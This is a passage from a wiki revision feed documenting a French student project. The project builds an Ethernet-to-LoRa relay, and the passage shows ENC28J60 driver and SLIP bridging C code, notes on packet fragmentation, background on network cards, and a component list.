        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après le premier d'essai, nous avons remarqué que l'éme&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39332</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39332"/>
				<updated>2017-02-19T21:51:03Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
